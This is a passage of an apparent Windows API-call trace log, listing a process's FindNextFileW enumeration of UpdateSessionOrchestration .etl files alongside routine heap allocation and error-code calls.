Size=0x90) returned 0x5e7328 [0116.657] FindNextFileW (in: hFindFile=0x566f58, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa972a1, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x2a522d7b, ftLastAccessTime.dwHighDateTime=0x1d47c35, ftLastWriteTime.dwLowDateTime=0x4e6dab1f, ftLastWriteTime.dwHighDateTime=0x1d47c35, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="UpdateSessionOrchestration.003.etl", cAlternateFileName="UP8247~1.ETL")) returned 1 [0116.657] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e88b8 | out: hHeap=0x520000) returned 1 [0116.657] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5788d8 [0116.657] GetLastError () returned 0x0 [0116.658] SetLastError (dwErrCode=0x0) [0116.658] GetLastError () returned 0x0 [0116.658] SetLastError (dwErrCode=0x0) [0116.658] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x60b038 [0116.658] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5788d8 | out: hHeap=0x520000) returned 1 [0116.658] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x5e88b8 [0116.658] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60b038 | out: hHeap=0x520000) returned 1 [0116.658] GetLastError () returned 0x0 [0116.658] SetLastError (dwErrCode=0x0) [0116.658] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d1e8 [0116.658] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d1e8 | out: hHeap=0x520000) returned 1 [0116.658] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x90) returned 0x5e6dd0 [0116.658] FindNextFileW (in: hFindFile=0x566f58, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa972a1, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x2cbb43aa, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x5454d5b0, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x3000, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="UpdateSessionOrchestration.004.etl", cAlternateFileName="UPD2FC~1.ETL")) returned 1 [0116.658] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e88b8 | out: hHeap=0x520000) returned 1 [0116.658] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5784a0 [0116.658] GetLastError () returned 0x0 [0116.659] SetLastError (dwErrCode=0x0) [0116.659] GetLastError () returned 0x0 [0116.659] SetLastError (dwErrCode=0x0) [0116.659] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x60ad90 [0116.659] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5784a0 | out: hHeap=0x520000) returned 1 [0116.659] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x5e8d68 [0116.659] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60ad90 | out: hHeap=0x520000) returned 1 [0116.659] GetLastError () returned 0x0 [0116.659] SetLastError (dwErrCode=0x0) [0116.659] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56da28 [0116.659] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56da28 | out: hHeap=0x520000) returned 1 [0116.659] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x90) returned 0x5e7620 [0116.659] FindNextFileW (in: hFindFile=0x566f58, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa972a1, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x60de6047, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0x60de6047, ftLastWriteTime.dwHighDateTime=0x1d47c33, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="UpdateSessionOrchestration.005.etl", cAlternateFileName="UPB784~1.ETL")) returned 1 [0116.659] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e8d68 | out: hHeap=0x520000) returned 1 [0116.659] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578770 [0116.659] GetLastError () returned 0x0 [0116.659] SetLastError (dwErrCode=0x0) [0116.660] GetLastError () returned 0x0 [0116.660] SetLastError (dwErrCode=0x0) [0116.660] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x60b368 [0116.660] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578770 | out: hHeap=0x520000) returned 1 [0116.660] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x5e88b8 [0116.660] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60b368 | out: hHeap=0x520000) returned 1 [0116.660] GetLastError () returned 0x0 [0116.660] SetLastError (dwErrCode=0x0) [0116.660] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d608 [0116.660] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d608 | out: hHeap=0x520000) returned 1 [0116.660] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x90) returned 0x5e7458 [0116.660] FindNextFileW (in: hFindFile=0x566f58, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa972a1, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xa72ae253, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0xcb3f3780, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="UpdateSessionOrchestration.006.etl", cAlternateFileName="UP7D55~1.ETL")) returned 1 [0116.660] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e88b8 | out: hHeap=0x520000) returned 1 [0116.661] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5783c8 [0116.661] GetLastError () returned 0x0 [0116.661] SetLastError (dwErrCode=0x0) [0116.661] GetLastError () returned 0x0 [0116.661] SetLastError (dwErrCode=0x0) [0116.661] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x60b478 [0116.661] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5783c8 | out: hHeap=0x520000) returned 1 [0116.661] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x5e88b8 [0116.661] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60b478 | out: hHeap=0x520000) returned 1 [0116.661] GetLastError () returned 0x0 [0116.661] SetLastError (dwErrCode=0x0) [0116.661] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d298 [0116.661] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d298 | out: hHeap=0x520000) returned 1 [0116.661] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x90) returned 0x5e7030 [0116.661] FindNextFileW (in: hFindFile=0x566f58, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa972a1, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x5ca8efbc, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x8784f695, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0x3000, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="UpdateSessionOrchestration.007.etl", cAlternateFileName="UP52FC~1.ETL")) returned 1 [0116.661] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e88b8 | out: hHeap=0x520000) returned 1 [0116.662] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578530 [0116.662] GetLastError () returned 0x0 [0116.662] SetLastError (dwErrCode=0x0) [0116.662] GetLastError () returned 0x0 [0116.662] SetLastError (dwErrCode=0x0) [0116.662] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x60b038 [0116.662] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578530 | out: hHeap=0x520000) returned 1 [0116.662] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x5e8ef8 [0116.662] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60b038 | out: hHeap=0x520000) returned 1 [0116.662] GetLastError () returned 0x0 [0116.662] SetLastError (dwErrCode=0x0) [0116.662] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d7c0 [0116.662] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d7c0 | out: hHeap=0x520000) returned 1 [0116.662] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x90) returned 0x5e73c0 [0116.662] FindNextFileW (in: hFindFile=0x566f58, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa972a1, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x4346f4fe, ftLastAccessTime.dwHighDateTime=0x1d41dc4, ftLastWriteTime.dwLowDateTime=0x4346f4fe, ftLastWriteTime.dwHighDateTime=0x1d41dc4, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="UpdateSessionOrchestration.008.etl", cAlternateFileName="UPA721~1.ETL")) returned 1 [0116.662] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e8ef8 | out: hHeap=0x520000) returned 1 [0116.662] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578920 [0116.663] GetLastError () returned 0x0 [0116.663] SetLastError (dwErrCode=0x0) [0116.663] GetLastError () returned 0x0 [0116.663] SetLastError (dwErrCode=0x0) [0116.663] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x60b038 [0116.663] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578920 | out: hHeap=0x520000) returned 1 [0116.663] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x5e88b8 [0116.663] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60b038 | out: hHeap=0x520000) returned 1 [0116.663] GetLastError () returned 0x0 [0116.663] SetLastError (dwErrCode=0x0) [0116.663] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d870 [0116.663] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d870 | out: hHeap=0x520000) returned 1 [0116.663] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x90) returned 0x5e74f0 [0116.663] FindNextFileW (in: hFindFile=0x566f58, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa972a1, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x745a10f, ftLastAccessTime.dwHighDateTime=0x1d3aafc, ftLastWriteTime.dwLowDateTime=0x318cac0d, ftLastWriteTime.dwHighDateTime=0x1d3aafc, nFileSizeHigh=0x0, nFileSizeLow=0x3000, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="UpdateSessionOrchestration.009.etl", cAlternateFileName="UPFC55~1.ETL")) returned 1 [0116.663] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e88b8 | out: hHeap=0x520000) returned 1 [0116.663] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578890 [0116.664] GetLastError () returned 0x0 [0116.664] SetLastError (dwErrCode=0x0) [0116.664] GetLastError () returned 0x0 [0116.664] SetLastError (dwErrCode=0x0) [0116.664] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x60b588 [0116.664] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578890 | out: hHeap=0x520000) returned 1 [0116.664] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x5e88b8 [0116.664] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60b588 | out: hHeap=0x520000) returned 1 [0116.664] GetLastError () returned 0x0 [0116.664] SetLastError (dwErrCode=0x0) [0116.664] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d608 [0116.664] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d608 | out: hHeap=0x520000) returned 1 [0116.664] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x90) returned 0x5e6c08 [0116.664] FindNextFileW (in: hFindFile=0x566f58, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa972a1, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xd59be406, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0xd59be406, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="UpdateSessionOrchestration.010.etl", cAlternateFileName="UPB13B~1.ETL")) returned 1 [0116.664] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e88b8 | out: hHeap=0x520000) returned 1 [0116.664] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578770 [0116.665] GetLastError () returned 0x0 [0116.665] SetLastError (dwErrCode=0x0) [0116.665] GetLastError () returned 0x0 [0116.665] SetLastError (dwErrCode=0x0) [0116.665] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x60ad08 [0116.665] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578770 | out: hHeap=0x520000) returned 1 [0116.665] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x5e88b8 [0116.665] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60ad08 | out: hHeap=0x520000) returned 1 [0116.665] GetLastError () returned 0x0 [0116.665] SetLastError (dwErrCode=0x0) [0116.665] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d7c0 [0116.665] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d7c0 | out: hHeap=0x520000) returned 1 [0116.665] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x90) returned 0x5e7588 [0116.665] FindNextFileW (in: hFindFile=0x566f58, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa972a1, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x198319d2, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3f449663, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="UpdateSessionOrchestration.011.etl", cAlternateFileName="UP076F~1.ETL")) returned 1 [0116.665] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e88b8 | out: hHeap=0x520000) returned 1 [0116.665] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578530 [0116.666] GetLastError () returned 0x0 [0116.666] SetLastError (dwErrCode=0x0) [0116.666] GetLastError () returned 0x0 [0116.666] SetLastError (dwErrCode=0x0) [0116.666] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x60b368 [0116.666] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578530 | out: hHeap=0x520000) returned 1 [0116.666] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x5e88b8 [0116.666] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60b368 | out: hHeap=0x520000) returned 1 [0116.666] GetLastError () returned 0x0 [0116.666] SetLastError (dwErrCode=0x0) [0116.666] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d608 [0116.666] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d608 | out: hHeap=0x520000) returned 1 [0116.667] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x90) returned 0x5e76b8 [0116.667] FindNextFileW (in: hFindFile=0x566f58, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa972a1, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x1c505b8c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x58b60423, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x3000, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="UpdateSessionOrchestration.012.etl", cAlternateFileName="UPEBF6~1.ETL")) returned 1 [0116.667] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e88b8 | out: hHeap=0x520000) returned 1 [0116.667] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578890 [0116.667] GetLastError () returned 0x0 [0116.667] SetLastError (dwErrCode=0x0) [0116.667] GetLastError () returned 0x0 [0116.667] SetLastError (dwErrCode=0x0) [0116.667] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x60b830 [0116.667] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578890 | out: hHeap=0x520000) returned 1 [0116.667] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x5e88b8 [0116.667] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60b830 | out: hHeap=0x520000) returned 1 [0116.667] GetLastError () returned 0x0 [0116.667] SetLastError (dwErrCode=0x0) [0116.667] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d870 [0116.668] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d870 | out: hHeap=0x520000) returned 1 [0116.668] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x90) returned 0x5e67e0 [0116.668] FindNextFileW (in: hFindFile=0x566f58, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa972a1, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xdaf93ab4, ftLastAccessTime.dwHighDateTime=0x1d38c43, ftLastWriteTime.dwLowDateTime=0x87be9f6, ftLastWriteTime.dwHighDateTime=0x1d38c44, nFileSizeHigh=0x0, nFileSizeLow=0x3000, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="UpdateSessionOrchestration.013.etl", cAlternateFileName="UP8DEE~1.ETL")) returned 1 [0116.668] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e88b8 | out: hHeap=0x520000) returned 1 [0116.668] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578890 [0116.668] GetLastError () returned 0x0 [0116.668] SetLastError (dwErrCode=0x0) [0116.668] GetLastError () returned 0x0 [0116.668] SetLastError (dwErrCode=0x0) [0116.668] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x60b830 [0116.668] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578890 | out: hHeap=0x520000) returned 1 [0116.668] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x5e8e30 [0116.668] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60b830 | out: hHeap=0x520000) returned 1 [0116.668] GetLastError () returned 0x0 [0116.668] SetLastError (dwErrCode=0x0) [0116.668] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d608 [0116.669] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d608 | out: hHeap=0x520000) returned 1 [0116.669] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x90) returned 0x5e6910 [0116.669] FindNextFileW (in: hFindFile=0x566f58, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa972a1, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x1977635c, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0x1977635c, ftLastWriteTime.dwHighDateTime=0x1d35e03, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="UpdateSessionOrchestration.014.etl", cAlternateFileName="UP38BA~1.ETL")) returned 1 [0116.669] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e8e30 | out: hHeap=0x520000) returned 1 [0116.669] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5782f0 [0116.669] GetLastError () returned 0x0 [0116.669] SetLastError (dwErrCode=0x0) [0116.669] GetLastError () returned 0x0 [0116.669] SetLastError (dwErrCode=0x0) [0116.669] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x60b9c8 [0116.669] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5782f0 | out: hHeap=0x520000) returned 1 [0116.669] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x5e8a48 [0116.669] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60b9c8 | out: hHeap=0x520000) returned 1 [0116.669] GetLastError () returned 0x0 [0116.669] SetLastError (dwErrCode=0x0) [0116.669] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d7c0 [0116.670] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d7c0 | out: hHeap=0x520000) returned 1 [0116.670] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x90) returned 0x5e7290 [0116.670] FindNextFileW (in: hFindFile=0x566f58, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa972a1, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xfc820227, ftLastAccessTime.dwHighDateTime=0x1d3375a, ftLastWriteTime.dwLowDateTime=0x2521b8a4, ftLastWriteTime.dwHighDateTime=0x1d3375b, nFileSizeHigh=0x0, nFileSizeLow=0x3000, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="UpdateSessionOrchestration.015.etl", cAlternateFileName="UPE286~1.ETL")) returned 1 [0116.670] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e8a48 | out: hHeap=0x520000) returned 1 [0116.670] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5786e0 [0116.670] GetLastError () returned 0x0 [0116.670] SetLastError (dwErrCode=0x0) [0116.670] GetLastError () returned 0x0 [0116.670] SetLastError (dwErrCode=0x0) [0116.670] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x60b038 [0116.670] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5786e0 | out: hHeap=0x520000) returned 1 [0116.670] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x5e8e30 [0116.670] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60b038 | out: hHeap=0x520000) returned 1 [0116.670] GetLastError () returned 0x0 [0116.670] SetLastError (dwErrCode=0x0) [0116.670] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d818 [0116.670] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d818 | out: hHeap=0x520000) returned 1 [0116.671] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x90) returned 0x5e6878 [0116.671] FindNextFileW (in: hFindFile=0x566f58, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa972a1, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xfd9caf15, ftLastAccessTime.dwHighDateTime=0x1d336df, ftLastWriteTime.dwLowDateTime=0xfd9caf15, ftLastWriteTime.dwHighDateTime=0x1d336df, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="UpdateSessionOrchestration.016.etl", cAlternateFileName="UP9D42~1.ETL")) returned 1 [0116.671] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e8e30 | out: hHeap=0x520000) returned 1 [0116.671] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578650 [0116.671] GetLastError () returned 0x0 [0116.671] SetLastError (dwErrCode=0x0) [0116.671] GetLastError () returned 0x0 [0116.671] SetLastError (dwErrCode=0x0) [0116.671] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x60ba50 [0116.671] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578650 | out: hHeap=0x520000) returned 1 [0116.671] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x5e8ef8 [0116.671] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60ba50 | out: hHeap=0x520000) returned 1 [0116.671] GetLastError () returned 0x0 [0116.671] SetLastError (dwErrCode=0x0) [0116.671] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d348 [0116.671] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d348 | out: hHeap=0x520000) returned 1 [0116.672] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x90) returned 0x5e6f00 [0116.672] FindNextFileW (in: hFindFile=0x566f58, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa972a1, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xda210f79, ftLastAccessTime.dwHighDateTime=0x1d336d6, ftLastWriteTime.dwLowDateTime=0xb10a27a8, ftLastWriteTime.dwHighDateTime=0x1d336df, nFileSizeHigh=0x0, nFileSizeLow=0x5000, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="UpdateSessionOrchestration.017.etl", cAlternateFileName="UPB8BA~1.ETL")) returned 1 [0116.672] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e8ef8 | out: hHeap=0x520000) returned 1 [0116.672] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578890 [0116.672] GetLastError () returned 0x0 [0116.672] SetLastError (dwErrCode=0x0) [0116.672] GetLastError () returned 0x0 [0116.672] SetLastError (dwErrCode=0x0) [0116.672] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x60b3f0 [0116.672] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578890 | out: hHeap=0x520000) returned 1 [0116.672] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x5e88b8 [0116.672] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60b3f0 | out: hHeap=0x520000) returned 1 [0116.672] GetLastError () returned 0x0 [0116.672] SetLastError (dwErrCode=0x0) [0116.672] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d870 [0116.672] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d870 | out: hHeap=0x520000) returned 1 [0116.673] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x90) returned 0x5e69a8 [0116.673] FindNextFileW (in: hFindFile=0x566f58, lpFindFileData=0x2e1fb24 | out: 